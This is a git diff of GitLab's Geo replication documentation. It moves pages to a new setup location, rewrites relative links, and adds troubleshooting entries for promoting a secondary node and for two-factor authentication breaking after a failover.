-for the changes to take effect:
-
-```plaintext
-##
-## Geo Secondary Role
-## - pg_hba.conf
-##
-host all all <trusted secondary IP>/32 md5
-host replication gitlab_replicator <trusted secondary IP>/32 md5
-host all all <trusted primary IP>/24 md5
-```
-
-```plaintext
-##
-## Geo Secondary Role
-## - postgresql.conf
-##
-wal_level = hot_standby
-max_wal_senders = 10
-wal_keep_segments = 10
-hot_standby = on
-```
-
-### Configure **secondary** application nodes to use the external read-replica
-
-With Omnibus, the
-[`geo_secondary_role`](https://docs.gitlab.com/omnibus/roles/#gitlab-geo-roles)
-has three main functions:
-
-1. Configure the replica database.
-1. Configure the tracking database.
-1. Enable the [Geo Log Cursor](index.md#geo-log-cursor) (not covered in this section).
-
-To configure the connection to the external read-replica database and enable Log Cursor:
-
-1. SSH into a GitLab **secondary** application server and login as root:
-
- ```shell
- sudo -i
- ```
-
-1. Edit `/etc/gitlab/gitlab.rb` and add the following
-
- ```ruby
- ##
- ## Geo Secondary role
- ## - configure dependent flags automatically to enable Geo
- ##
- roles ['geo_secondary_role']
-
- # note this is shared between both databases,
- # make sure you define the same password in both
- gitlab_rails['db_password'] = '<your_password_here>'
-
- gitlab_rails['db_username'] = 'gitlab'
- gitlab_rails['db_host'] = '<database_read_replica_host>'
-
- # Disable the bundled Omnibus PostgreSQL, since we are
- # using an external PostgreSQL
- postgresql['enable'] = false
- ```
-
-1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure)
-
-### Configure the tracking database
-
-**Secondary** nodes use a separate PostgreSQL installation as a tracking
-database to keep track of replication status and automatically recover from
-potential replication issues. Omnibus automatically configures a tracking database
-when `roles ['geo_secondary_role']` is set.
-If you want to run this database external to Omnibus, please follow the instructions below.
-
-If you are using a cloud-managed service for the tracking database, you may need
-to grant additional roles to your tracking database user (by default, this is
-`gitlab_geo`):
-
-- Amazon RDS requires the [`rds_superuser`](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Appendix.PostgreSQL.CommonDBATasks.html#Appendix.PostgreSQL.CommonDBATasks.Roles) role.
-- Azure Database for PostgreSQL requires the [`azure_pg_admin`](https://docs.microsoft.com/en-us/azure/postgresql/howto-create-users#how-to-create-additional-admin-users-in-azure-database-for-postgresql) role.
-
-If you have an external database ready to be used as the tracking database,
-follow the instructions below to use it:
-
-NOTE: **Note:**
-If you want to use AWS RDS as a tracking database, make sure it has access to
-the secondary database. Unfortunately, just assigning the same security group is not enough as
-outbound rules do not apply to RDS PostgreSQL databases. Therefore, you need to explicitly add an inbound
-rule to the read-replica's security group allowing any TCP traffic from
-the tracking database on port 5432.
-
-1. Ensure that your secondary node can communicate with your tracking database by
- manually changing the `pg_hba.conf` that is associated with your tracking database.
- Remember to restart PostgreSQL afterwards for the changes to take effect:
-
- ```plaintext
- ##
- ## Geo Tracking Database Role
- ## - pg_hba.conf
- ##
- host all all <trusted tracking IP>/32 md5
- host all all <trusted secondary IP>/32 md5
- ```
-
-1. SSH into a GitLab **secondary** server and login as root:
-
- ```shell
- sudo -i
- ```
-
-1. Edit `/etc/gitlab/gitlab.rb` with the connection parameters and credentials for
- the machine with the PostgreSQL instance:
-
- ```ruby
- geo_secondary['db_username'] = 'gitlab_geo'
- geo_secondary['db_password'] = '<your_password_here>'
-
- geo_secondary['db_host'] = '<tracking_database_host>'
- geo_secondary['db_port'] = <tracking_database_port> # change to the correct port
- geo_postgresql['enable'] = false # don't use internal managed instance
- ```
-
-1. Save the file and [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure)
-
-1. Run the tracking database migrations:
-
- ```shell
- gitlab-rake geo:db:create
- gitlab-rake geo:db:migrate
- ```
+This document was moved to [another location](../setup/external_database.md).
diff --git a/doc/administration/geo/replication/faq.md b/doc/administration/geo/replication/faq.md
index 522ad32c352..3892d73b465 100644
--- a/doc/administration/geo/replication/faq.md
+++ b/doc/administration/geo/replication/faq.md
@@ -9,7 +9,7 @@ type: howto
## What are the minimum requirements to run Geo?
-The requirements are listed [on the index page](index.md#requirements-for-running-geo)
+The requirements are listed [on the index page](../index.md#requirements-for-running-geo)
## How does Geo know which projects to sync?
diff --git a/doc/administration/geo/replication/geo_validation_tests.md b/doc/administration/geo/replication/geo_validation_tests.md
index 323f6f367b1..8247b8c6336 100644
--- a/doc/administration/geo/replication/geo_validation_tests.md
+++ b/doc/administration/geo/replication/geo_validation_tests.md
@@ -158,3 +158,15 @@ The following are PostgreSQL upgrade validation tests we performed.
- [`gitlab-ctl` reconfigure fails on Redis node in multi-node Geo setup](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/4706).
- [Geo multi-node upgrade from 12.0.9 to 12.1.9 does not upgrade PostgreSQL](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/4705).
- [Refresh foreign tables fails on app server in multi-node setup after upgrade to 12.1.9](https://gitlab.com/gitlab-org/gitlab/-/issues/32119).
+
+## Other tests
+
+The following are additional validation tests we performed.
+
+### August 2020
+
+[Test Gitaly Cluster on a Geo Deployment](https://gitlab.com/gitlab-org/gitlab/-/issues/223210):
+
+- Description: Tested a Geo deployment with Gitaly clusters configured on both the primary and secondary Geo sites. Triggered automatic Gitaly cluster failover on the primary Geo site, and ran end-to-end Geo tests. Then triggered Gitaly cluster failover on the secondary Geo site, and re-ran the end-to-end Geo tests.
+
+- Outcome: Successful end-to-end tests before and after Gitaly cluster failover on the primary site, and before and after Gitaly cluster failover on the secondary site.
diff --git a/doc/administration/geo/replication/index.md b/doc/administration/geo/replication/index.md
index f1cc9f0df8b..5e9dd73ecc5 100644
--- a/doc/administration/geo/replication/index.md
+++ b/doc/administration/geo/replication/index.md
@@ -1,316 +1,5 @@
---
-stage: Enablement
-group: Geo
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
-type: howto
+redirect_to: '../index.md'
---
-# Replication (Geo) **(PREMIUM ONLY)**
-
-> - Introduced in GitLab Enterprise Edition 8.9.
-> - Using Geo in combination with
-> [multi-node architectures](../../reference_architectures/index.md)
-> is considered **Generally Available** (GA) in
-> [GitLab Premium](https://about.gitlab.com/pricing/) 10.4.
-
-Replication with Geo is the solution for widely distributed development teams.
-
-## Overview
-
-Fetching large repositories can take a long time for teams located far from a single GitLab instance.
-
-Geo provides local, read-only instances of your GitLab instances. This can reduce the time it takes
-to clone and fetch large repositories, speeding up development.
-
-NOTE: **Note:**
-Check the [requirements](#requirements-for-running-geo) carefully before setting up Geo.
-
-For a video introduction to Geo, see [Introduction to GitLab Geo - GitLab Features](https://www.youtube.com/watch?v=-HDLxSjEh6w).
-
-CAUTION: **Caution:**
-Geo undergoes significant changes from release to release. Upgrades **are** supported and [documented](#updating-geo), but you should ensure that you're using the right version of the documentation for your installation.
-
-To make sure you're using the right version of the documentation, navigate to [the source version of this page on GitLab.com](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/administration/geo/replication/index.md) and choose the appropriate release from the **Switch branch/tag** dropdown. For example, [`v11.2.3-ee`](https://gitlab.com/gitlab-org/gitlab/blob/v11.2.3-ee/doc/administration/geo/replication/index.md).
-
-## Use cases
-
-Implementing Geo provides the following benefits:
-
-- Reduce from minutes to seconds the time taken for your distributed developers to clone and fetch large repositories and projects.
-- Enable all of your developers to contribute ideas and work in parallel, no matter where they are.
-- Balance the read-only load between your **primary** and **secondary** nodes.
-
-In addition, it:
-
-- Can be used for cloning and fetching projects, in addition to reading any data available in the GitLab web interface (see [current limitations](#current-limitations)).
-- Overcomes slow connections between distant offices, saving time by improving speed for distributed teams.
-- Helps reducing the loading time for automated tasks, custom integrations, and internal workflows.
-- Can quickly fail over to a **secondary** node in a [disaster recovery](../disaster_recovery/index.md) scenario.
-- Allows [planned failover](../disaster_recovery/planned_failover.md) to a **secondary** node.
-
-Geo provides:
-
-- Read-only **secondary** nodes: Maintain one **primary** GitLab node while still enabling read-only **secondary** nodes for each of your distributed teams.
-- Authentication system hooks: **Secondary** nodes receives all authentication data (like user accounts and logins) from the **primary** instance.
-- An intuitive UI: **Secondary** nodes utilize the same web interface your team has grown accustomed to. In addition, there are visual notifications that block write operations and make it clear that a user is on a **secondary** node.
-
-## How it works
-
-Your Geo instance can be used for cloning and fetching projects, in addition to reading any data. This will make working with large repositories over large distances much faster.
-
-![Geo overview](img/geo_overview.png)
-
-When Geo is enabled, the:
-
-- Original instance is known as the **primary** node.
-- Replicated read-only nodes are known as **secondary** nodes.
-
-Keep in mind that:
-
-- **Secondary** nodes talk to the **primary** node to:
- - Get user data for logins (API).
- - Replicate repositories, LFS Objects, and Attachments (HTTPS + JWT).
-- Since GitLab Premium 10.0, the **primary** node no longer talks to **secondary** nodes to notify for changes (API).
-- Pushing directly to a **secondary** node (for both HTTP and SSH, including Git LFS) was [introduced](https://about.gitlab.com/releases/2018/09/22/gitlab-11-3-released/) in [GitLab Premium](https://about.gitlab.com/pricing/#self-managed) 11.3.
-- There are [limitations](#current-limitations) in the current implementation.
-
-### Architecture
-
-The following diagram illustrates the underlying architecture of Geo.
-
-![Geo architecture](img/geo_architecture.png)
-
-In this diagram:
-
-- There is the **primary** node and the details of one **secondary** node.
-- Writes to the database can only be performed on the **primary** node. A **secondary** node receives database
- updates via PostgreSQL streaming replication.
-- If present, the [LDAP server](#ldap) should be configured to replicate for [Disaster Recovery](../disaster_recovery/index.md) scenarios.
-- A **secondary** node performs different type of synchronizations against the **primary** node, using a special
- authorization protected by JWT:
- - Repositories are cloned/updated via Git over HTTPS.
- - Attachments, LFS objects, and other files are downloaded via HTTPS using a private API endpoint.
-
-From the perspective of a user performing Git operations:
-
-- The **primary** node behaves as a full read-write GitLab instance.
-- **Secondary** nodes are read-only but proxy Git push operations to the **primary** node. This makes **secondary** nodes appear to support push operations themselves.
-
-To simplify the diagram, some necessary components are omitted. Note that:
-
-- Git over SSH requires [`gitlab-shell`](https://gitlab.com/gitlab-org/gitlab-shell) and OpenSSH.
-- Git over HTTPS required [`gitlab-workhorse`](https://gitlab.com/gitlab-org/gitlab-workhorse).
-
-Note that a **secondary** node needs two different PostgreSQL databases:
-
-- A read-only database instance that streams data from the main GitLab database.
-- [Another database instance](#geo-tracking-database) used internally by the **secondary** node to record what data has been replicated.
-
-In **secondary** nodes, there is an additional daemon: [Geo Log Cursor](#geo-log-cursor).
-
-## Requirements for running Geo
-
-The following are required to run Geo:
-
-- An operating system that supports OpenSSH 6.9+ (needed for
- [fast lookup of authorized SSH keys in the database](../../operations/fast_ssh_key_lookup.md))
- The following operating systems are known to ship with a current version of OpenSSH:
- - [CentOS](https://www.centos.org) 7.4+
- - [Ubuntu](https://ubuntu.com) 16.04+
-- PostgreSQL 11+ with [Streaming Replication](https://wiki.postgresql.org/wiki/Streaming_Replication)
-- Git 2.9+
-- All nodes must run the same GitLab version.
-
-Additionally, check GitLab's [minimum requirements](../../../install/requirements.md),
-and we recommend you use:
-
-- At least GitLab Enterprise Edition 10.0 for basic Geo features.
-- The latest version for a better experience.
-
-### Firewall rules
-
-The following table lists basic ports that must be open between the **primary** and **secondary** nodes for Geo.
-
-| **Primary** node | **Secondary** node | Protocol |
-|:-----------------|:-------------------|:-------------|
-| 80 | 80 | HTTP |
-| 443 | 443 | TCP or HTTPS |
-| 22 | 22 | TCP |
-| 5432 | | PostgreSQL |
-
-See the full list of ports used by GitLab in [Package defaults](https://docs.gitlab.com/omnibus/package-information/defaults.html)
-
-NOTE: **Note:**
-[Web terminal](../../../ci/environments/index.md#web-terminals) support requires your load balancer to correctly handle WebSocket connections.
-When using HTTP or HTTPS proxying, your load balancer must be configured to pass through the `Connection` and `Upgrade` hop-by-hop headers. See the [web terminal](../../integration/terminal.md) integration guide for more details.
-
-NOTE: **Note:**
-When using HTTPS protocol for port 443, you will need to add an SSL certificate to the load balancers.
-If you wish to terminate SSL at the GitLab application server instead, use TCP protocol.
-
-### LDAP
-
-We recommend that if you use LDAP on your **primary** node, you also set up secondary LDAP servers on each **secondary** node. Otherwise, users will not be able to perform Git operations over HTTP(s) on the **secondary** node using HTTP Basic Authentication. However, Git via SSH and personal access tokens will still work.
-
-NOTE: **Note:**
-It is possible for all **secondary** nodes to share an LDAP server, but additional latency can be an issue. Also, consider what LDAP server will be available in a [disaster recovery](../disaster_recovery/index.md) scenario if a **secondary** node is promoted to be a **primary** node.
-
-Check for instructions on how to set up replication in your LDAP service. Instructions will be different depending on the software or service used. For example, OpenLDAP provides [these instructions](https://www.openldap.org/doc/admin24/replication.html).
-
-### Geo Tracking Database
-
-The tracking database instance is used as metadata to control what needs to be updated on the disk of the local instance. For example:
-
-- Download new assets.
-- Fetch new LFS Objects.
-- Fetch changes from a repository that has recently been updated.
-
-Because the replicated database instance is read-only, we need this additional database instance for each **secondary** node.
-
-### Geo Log Cursor
-
-This daemon:
-
-- Reads a log of events replicated by the **primary** node to the **secondary** database instance.
-- Updates the Geo Tracking Database instance with changes that need to be executed.
-
-When something is marked to be updated in the tracking database instance, asynchronous jobs running on the **secondary** node will execute the required operations and update the state.
-
-This new architecture allows GitLab to be resilient to connectivity issues between the nodes. It doesn't matter how long the **secondary** node is disconnected from the **primary** node as it will be able to replay all the events in the correct order and become synchronized with the **primary** node again.
-
-## Setup instructions
-
-These instructions assume you have a working instance of GitLab. They guide you through:
-
-1. Making your existing instance the **primary** node.
-1. Adding **secondary** nodes.
-
-CAUTION: **Caution:**
-The steps below should be followed in the order they appear. **Make sure the GitLab version is the same on all nodes.**
-
-### Using Omnibus GitLab
-
-If you installed GitLab using the Omnibus packages (highly recommended):
-
-1. [Install GitLab Enterprise Edition](https://about.gitlab.com/install/) on the server that will serve as the **secondary** node. Do not create an account or log in to the new **secondary** node.
-1. [Upload the GitLab License](../../../user/admin_area/license.md) on the **primary** node to unlock Geo. The license must be for [GitLab Premium](https://about.gitlab.com/pricing/) or higher.
-1. [Set up the database replication](database.md) (`primary (read-write) <-> secondary (read-only)` topology).
-1. [Configure fast lookup of authorized SSH keys in the database](../../operations/fast_ssh_key_lookup.md). This step is required and needs to be done on **both** the **primary** and **secondary** nodes.
-1. [Configure GitLab](configuration.md) to set the **primary** and **secondary** nodes.
-1. Optional: [Configure a secondary LDAP server](../../auth/ldap/index.md) for the **secondary** node. See [notes on LDAP](#ldap).
-1. [Follow the "Using a Geo Server" guide](using_a_geo_server.md).
-
-## Post-installation documentation
-
-After installing GitLab on the **secondary** nodes and performing the initial configuration, see the following documentation for post-installation information.
-
-### Configuring Geo
-
-For information on configuring Geo, see [Geo configuration](configuration.md).
-
-### Updating Geo
-
-For information on how to update your Geo nodes to the latest GitLab version, see [Updating the Geo nodes](updating_the_geo_nodes.md).
-
-### Pausing and resuming replication
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35913) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
-
-In some circumstances, like during [upgrades](updating_the_geo_nodes.md) or a [planned failover](../disaster_recovery/planned_failover.md), it is desirable to pause replication between the primary and secondary.
-
-Pausing and resuming replication is done via a command line tool from the secondary node.
-
-**To Pause: (from secondary)**
-
-```shell
-gitlab-ctl geo-replication-pause
-```
-
-**To Resume: (from secondary)**
-
-```shell
-gitlab-ctl geo-replication-resume
-```
-
-### Configuring Geo for multiple nodes
-
-For information on configuring Geo for multiple nodes, see [Geo for multiple servers](multiple_servers.md).
-
-### Configuring Geo with Object Storage
-
-For information on configuring Geo with object storage, see [Geo with Object storage](object_storage.md).
-
-### Disaster Recovery
-
-For information on using Geo in disaster recovery situations to mitigate data-loss and restore services, see [Disaster Recovery](../disaster_recovery/index.md).
-
-### Replicating the Container Registry
-
-For more information on how to replicate the Container Registry, see [Docker Registry for a **secondary** node](docker_registry.md).
-
-### Security Review
-
-For more information on Geo security, see [Geo security review](security_review.md).
-
-### Tuning Geo
-
-For more information on tuning Geo, see [Tuning Geo](tuning.md).
-
-### Set up a location-aware Git URL
-
-For an example of how to set up a location-aware Git remote URL with AWS Route53, see [Location-aware Git remote URL with AWS Route53](location_aware_git_url.md).
-
-## Remove Geo node
-
-For more information on removing a Geo node, see [Removing **secondary** Geo nodes](remove_geo_node.md).
-
-## Disable Geo
-
-To find out how to disable Geo, see [Disabling Geo](disable_geo.md).
-
-## Current limitations
-
-CAUTION: **Caution:**
-This list of limitations only reflects the latest version of GitLab. If you are using an older version, extra limitations may be in place.
-
-- Pushing directly to a **secondary** node redirects (for HTTP) or proxies (for SSH) the request to the **primary** node instead of [handling it directly](https://gitlab.com/gitlab-org/gitlab/-/issues/1381), except when using Git over HTTP with credentials embedded within the URI. For example, `https://user:password@secondary.tld`.
-- Cloning, pulling, or pushing repositories that exist on the **primary** node but not on the **secondary** nodes where [selective synchronization](configuration.md#selective-synchronization) does not include the project is not supported over SSH [but support is planned](https://gitlab.com/groups/gitlab-org/-/epics/2562). HTTP(S) is supported.
-- The **primary** node has to be online for OAuth login to happen. Existing sessions and Git are not affected. Support for the **secondary** node to use an OAuth provider independent from the primary is [being planned](https://gitlab.com/gitlab-org/gitlab/-/issues/208465).
-- The installation takes multiple manual steps that together can take about an hour depending on circumstances. We are working on improving this experience. See [Omnibus GitLab issue #2978](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/2978) for details.
-- Real-time updates of issues/merge requests (for example, via long polling) doesn't work on the **secondary** node.
-- [Selective synchronization](configuration.md#selective-synchronization) applies only to files and repositories. Other datasets are replicated to the **secondary** node in full, making it inappropriate for use as an access control mechanism.
-- Object pools for forked project deduplication work only on the **primary** node, and are duplicated on the **secondary** node.
-- [External merge request diffs](../../merge_request_diffs.md) will not be replicated if they are on-disk, and viewing merge requests will fail. However, external MR diffs in object storage **are** supported. The default configuration (in-database) does work.
-- GitLab Runners cannot register with a **secondary** node. Support for this is [planned for the future](https://gitlab.com/gitlab-org/gitlab/-/issues/3294).
-
-### Limitations on replication/verification
-
-You can keep track of the progress to implement the missing items in
-these epics/issues:
-
-- [Unreplicated Data Types](https://gitlab.com/groups/gitlab-org/-/epics/893)
-- [Verify all replicated data](https://gitlab.com/groups/gitlab-org/-/epics/1430)
-
-There is a complete list of all GitLab [data types](datatypes.md) and [existing support for replication and verification](datatypes.md#limitations-on-replicationverification).
-
-## Frequently Asked Questions
-
-For answers to common questions, see the [Geo FAQ](faq.md).
-
-## Log files
-
-Since GitLab 9.5, Geo stores structured log messages in a `geo.log` file. For Omnibus installations, this file is at `/var/log/gitlab/gitlab-rails/geo.log`.
-
-This file contains information about when Geo attempts to sync repositories and files. Each line in the file contains a separate JSON entry that can be ingested into. For example, Elasticsearch or Splunk.
-
-For example:
-
-```json
-{"severity":"INFO","time":"2017-08-06T05:40:16.104Z","message":"Repository update","project_id":1,"source":"repository","resync_repository":true,"resync_wiki":true,"class":"Gitlab::Geo::LogCursor::Daemon","cursor_delay_s":0.038}
-```
-
-This message shows that Geo detected that a repository update was needed for project `1`.
-
-## Troubleshooting
-
-For troubleshooting steps, see [Geo Troubleshooting](troubleshooting.md).
+This document was moved to [another location](../index.md).
diff --git a/doc/administration/geo/replication/location_aware_git_url.md b/doc/administration/geo/replication/location_aware_git_url.md
index 8b086e3ff5f..ddcdea736e7 100644
--- a/doc/administration/geo/replication/location_aware_git_url.md
+++ b/doc/administration/geo/replication/location_aware_git_url.md
@@ -44,7 +44,7 @@ In any case, you require:
- A Route53 Hosted Zone managing your domain.
If you have not yet setup a Geo **primary** node and **secondary** node, please consult
-[the Geo setup instructions](index.md#setup-instructions).
+[the Geo setup instructions](../index.md#setup-instructions).
## Create a traffic policy
diff --git a/doc/administration/geo/replication/multiple_servers.md b/doc/administration/geo/replication/multiple_servers.md
index 31d1ea2cd2b..cba41c375a3 100644
--- a/doc/administration/geo/replication/multiple_servers.md
+++ b/doc/administration/geo/replication/multiple_servers.md
@@ -147,7 +147,7 @@ The following documentation assumes the database will be run on
a single node only. Multi-node PostgreSQL on **secondary** nodes is
[not currently supported](https://gitlab.com/groups/gitlab-org/-/epics/2536).
-Configure the [**secondary** database](database.md) as a read-only replica of
+Configure the [**secondary** database](../setup/database.md) as a read-only replica of
the **primary** database. Use the following as a guide.
1. Generate an MD5 hash of the desired password for the database user that the
@@ -222,7 +222,7 @@ the **primary** database. Use the following as a guide.
After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) so the changes take effect.
If using an external PostgreSQL instance, refer also to
-[Geo with external PostgreSQL instances](external_database.md).
+[Geo with external PostgreSQL instances](../setup/external_database.md).
### Step 3: Configure the tracking database on the **secondary** node
@@ -294,7 +294,7 @@ Configure the tracking database.
After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) so the changes take effect.
If using an external PostgreSQL instance, refer also to
-[Geo with external PostgreSQL instances](external_database.md).
+[Geo with external PostgreSQL instances](../setup/external_database.md).
### Step 4: Configure the frontend application servers on the **secondary** node
diff --git a/doc/administration/geo/replication/object_storage.md b/doc/administration/geo/replication/object_storage.md
index 159e2524198..642d31f6298 100644
--- a/doc/administration/geo/replication/object_storage.md
+++ b/doc/administration/geo/replication/object_storage.md
@@ -26,7 +26,7 @@ To have:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10586) in GitLab 12.4.
CAUTION: **Caution:**
-This is a [**beta** feature](https://about.gitlab.com/handbook/product/#beta) and is not ready yet for production use at any scale.
+This is a [**beta** feature](https://about.gitlab.com/handbook/product/#beta) and is not ready yet for production use at any scale. The main limitations are a lack of testing at scale and no verification of any replicated data.
**Secondary** nodes can replicate files stored on the **primary** node regardless of
whether they are stored on the local filesystem or in object storage.
@@ -44,7 +44,7 @@ For LFS, follow the documentation to
For CI job artifacts, there is similar documentation to configure
[jobs artifact object storage](../../job_artifacts.md#using-object-storage)
-For user uploads, there is similar documentation to configure [upload object storage](../../uploads.md#using-object-storage-core-only)
+For user uploads, there is similar documentation to configure [upload object storage](../../uploads.md#using-object-storage)
If you want to migrate the **primary** node's files to object storage, you can
configure the **secondary** in a few ways:
diff --git a/doc/administration/geo/replication/security_review.md b/doc/administration/geo/replication/security_review.md
index f5edf79c6e4..28b8c8a9d51 100644
--- a/doc/administration/geo/replication/security_review.md
+++ b/doc/administration/geo/replication/security_review.md
@@ -37,7 +37,7 @@ from [owasp.org](https://owasp.org/).
private projects. Geo replicates them all indiscriminately. “Selective syncâ€
exists for files and repositories (but not database content), which would permit
only less-sensitive projects to be replicated to a **secondary** node if desired.
-- See also: [GitLab data classification policy](https://about.gitlab.com/handbook/engineering/security/data-classification-policy.html).
+- See also: [GitLab data classification policy](https://about.gitlab.com/handbook/engineering/security/data-classification-standard.html).
### What data backup and retention requirements have been defined for the application?
@@ -123,7 +123,7 @@ from [owasp.org](https://owasp.org/).
- Geo imposes no additional restrictions on operating system (see the
[GitLab installation](https://about.gitlab.com/install/) page for more
- details), however we recommend using the operating systems listed in the [Geo documentation](index.md#requirements-for-running-geo).
+ details), however we recommend using the operating systems listed in the [Geo documentation](../index.md#requirements-for-running-geo).
### What details regarding required OS components and lockâ€down needs have been defined?
diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md
index b8172322c10..f6d6f39fb19 100644
--- a/doc/administration/geo/replication/troubleshooting.md
+++ b/doc/administration/geo/replication/troubleshooting.md
@@ -251,7 +251,7 @@ sudo gitlab-rake gitlab:geo:check
When performing a PostgreSQL major version (9 > 10) update this is expected. Follow:
- - [initiate-the-replication-process](database.md#step-3-initiate-the-replication-process)
+ - [initiate-the-replication-process](../setup/database.md#step-3-initiate-the-replication-process)
## Fixing replication errors
@@ -268,7 +268,7 @@ default to 1. You may need to increase this value if you have more
Be sure to restart PostgreSQL for this to take
effect. See the [PostgreSQL replication
-setup](database.md#postgresql-replication) guide for more details.
+setup](../setup/database.md#postgresql-replication) guide for more details.
### Message: `FATAL: could not start WAL streaming: ERROR: replication slot "geo_secondary_my_domain_com" does not exist`?
@@ -276,11 +276,11 @@ This occurs when PostgreSQL does not have a replication slot for the
**secondary** node by that name.
You may want to rerun the [replication
-process](database.md) on the **secondary** node .
+process](../setup/database.md) on the **secondary** node .
### Message: "Command exceeded allowed execution time" when setting up replication?
-This may happen while [initiating the replication process](database.md#step-3-initiate-the-replication-process) on the **secondary** node,
+This may happen while [initiating the replication process](../setup/database.md#step-3-initiate-the-replication-process) on the **secondary** node,
and indicates that your initial dataset is too large to be replicated in the default timeout (30 minutes).
Re-run `gitlab-ctl replicate-geo-database`, but include a larger value for
@@ -603,9 +603,9 @@ or `gitlab-ctl promote-to-primary-node`, either:
bug](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22021) was
fixed.
-If the above does not work, another possible reason is that you have paused replication
-from the original primary node before attempting to promote this node.
+### Message: ActiveRecord::RecordInvalid: Validation failed: Enabled Geo primary node cannot be disabled
+This error may occur if you have paused replication from the original primary node before attempting to promote this node.
To double check this, you can do the following:
- Get the current secondary node's ID using:
@@ -632,6 +632,23 @@ To double check this, you can do the following:
UPDATE geo_nodes SET enabled = 't' WHERE id = ID_FROM_ABOVE;
```
+### While Promoting the secondary, I got an error `ActiveRecord::RecordInvalid`
+
+If you disabled a secondary node, either with the [replication pause task](../index.md#pausing-and-resuming-replication)
+(13.2) or via the UI (13.1 and earlier), you must first re-enable the
+node before you can continue. This is fixed in 13.4.
+
+From `gitlab-psql`, execute the following, replacing `<your secondary url>`
+with the URL for your secondary server starting with `http` or `https` and ending with a `/`.
+
+```shell
+SECONDARY_URL="https://<secondary url>/"
+DATABASE_NAME="gitlabhq_production"
+sudo gitlab-psql -d "$DATABASE_NAME" -c "UPDATE geo_nodes SET enabled = true WHERE url = '$SECONDARY_URL';"
+```
+
+This should update 1 row.
+
### Message: ``NoMethodError: undefined method `secondary?' for nil:NilClass``
When [promoting a **secondary** node](../disaster_recovery/index.md#step-3-promoting-a-secondary-node),
@@ -674,6 +691,20 @@ sudo /opt/gitlab/embedded/bin/gitlab-pg-ctl promote
GitLab 12.9 and later are [unaffected by this error](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5147).
+### Two-factor authentication is broken after a failover
+
+The setup instructions for Geo prior to 10.5 failed to replicate the
+`otp_key_base` secret, which is used to encrypt the two-factor authentication
+secrets stored in the database. If it differs between **primary** and **secondary**
+nodes, users with two-factor authentication enabled won't be able to log in
+after a failover.
+
+If you still have access to the old **primary** node, you can follow the
+instructions in the
+[Upgrading to GitLab 10.5](../replication/version_specific_updates.md#updating-to-gitlab-105)
+section to resolve the error. Otherwise, the secret is lost and you'll need to
+[reset two-factor authentication for all users](../../../security/two_factor_authentication.md#disabling-2fa-for-everyone).
+
## Expired artifacts
If you notice for some reason there are more artifacts on the Geo
@@ -723,7 +754,7 @@ This error refers to a problem with the database replica on a **secondary** node
which Geo expects to have access to. It usually means, either:
- An unsupported replication method was used (for example, logical replication).
-- The instructions to setup a [Geo database replication](database.md) were not followed correctly.
+- The instructions to setup a [Geo database replication](../setup/database.md) were not followed correctly.
- Your database connection details are incorrect, that is you have specified the wrong
user in your `/etc/gitlab/gitlab.rb` file.
@@ -743,7 +774,7 @@ The most common problems that prevent the database from replicating correctly ar
- Database replication slot is misconfigured.
- Database is not using a replication slot or another alternative and cannot catch-up because WAL files were purged.
-Make sure you follow the [Geo database replication](database.md) instructions for supported configuration.
+Make sure you follow the [Geo database replication](../setup/database.md) instructions for supported configuration.
### Geo database version (...) does not match latest migration (...)
diff --git a/doc/administration/geo/replication/updating_the_geo_nodes.md b/doc/administration/geo/replication/updating_the_geo_nodes.md
index c0b1bc6688c..b78aeb06ebf 100644
--- a/doc/administration/geo/replication/updating_the_geo_nodes.md
+++ b/doc/administration/geo/replication/updating_the_geo_nodes.md
@@ -7,33 +7,15 @@ type: howto
# Updating the Geo nodes **(PREMIUM ONLY)**
+CAUTION: **Warning:**
+Please ensure you read these sections carefully before updating your Geo nodes! Not following version-specific update steps may result in unexpected downtime. Please [contact support](https://about.gitlab.com/support/#contact-support) if you have any specific questions.
+
Updating Geo nodes involves performing:
-1. [Version-specific update steps](#version-specific-update-steps), depending on the
+1. [Version-specific update steps](version_specific_updates.md), depending on the
version being updated to or from.
1. [General update steps](#general-update-steps), for all updates.
-## Version specific update steps
-
-Depending on which version of Geo you are updating to/from, there may be
-different steps.
-
-- [Updating to GitLab 12.9](version_specific_updates.md#updating-to-gitlab-129)
-- [Updating to GitLab 12.7](version_specific_updates.md#updating-to-gitlab-127)
-- [Updating to GitLab 12.2](version_specific_updates.md#updating-to-gitlab-122)
-- [Updating to GitLab 12.1](version_specific_updates.md#updating-to-gitlab-121)
-- [Updating to GitLab 12.0](version_specific_updates.md#updating-to-gitlab-120)
-- [Updating to GitLab 11.11](version_specific_updates.md#updating-to-gitlab-1111)
-- [Updating to GitLab 10.8](version_specific_updates.md#updating-to-gitlab-108)
-- [Updating to GitLab 10.6](version_specific_updates.md#updating-to-gitlab-106)
-- [Updating to GitLab 10.5](version_specific_updates.md#updating-to-gitlab-105)
-- [Updating to GitLab 10.3](version_specific_updates.md#updating-to-gitlab-103)
-- [Updating to GitLab 10.2](version_specific_updates.md#updating-to-gitlab-102)
-- [Updating to GitLab 10.1](version_specific_updates.md#updating-to-gitlab-101)
-- [Updating to GitLab 10.0](version_specific_updates.md#updating-to-gitlab-100)
-- [Updating from GitLab 9.3 or older](version_specific_updates.md#updating-from-gitlab-93-or-older)
-- [Updating to GitLab 9.0](version_specific_updates.md#updating-to-gitlab-90)
-
## General update steps
NOTE: **Note:**
@@ -42,12 +24,12 @@ These general update steps are not intended for [high-availability deployments](
To update the Geo nodes when a new GitLab version is released, update **primary**
and all **secondary** nodes:
-1. **Optional:** [Pause replication on each **secondary** node.](./index.md#pausing-and-resuming-replication)
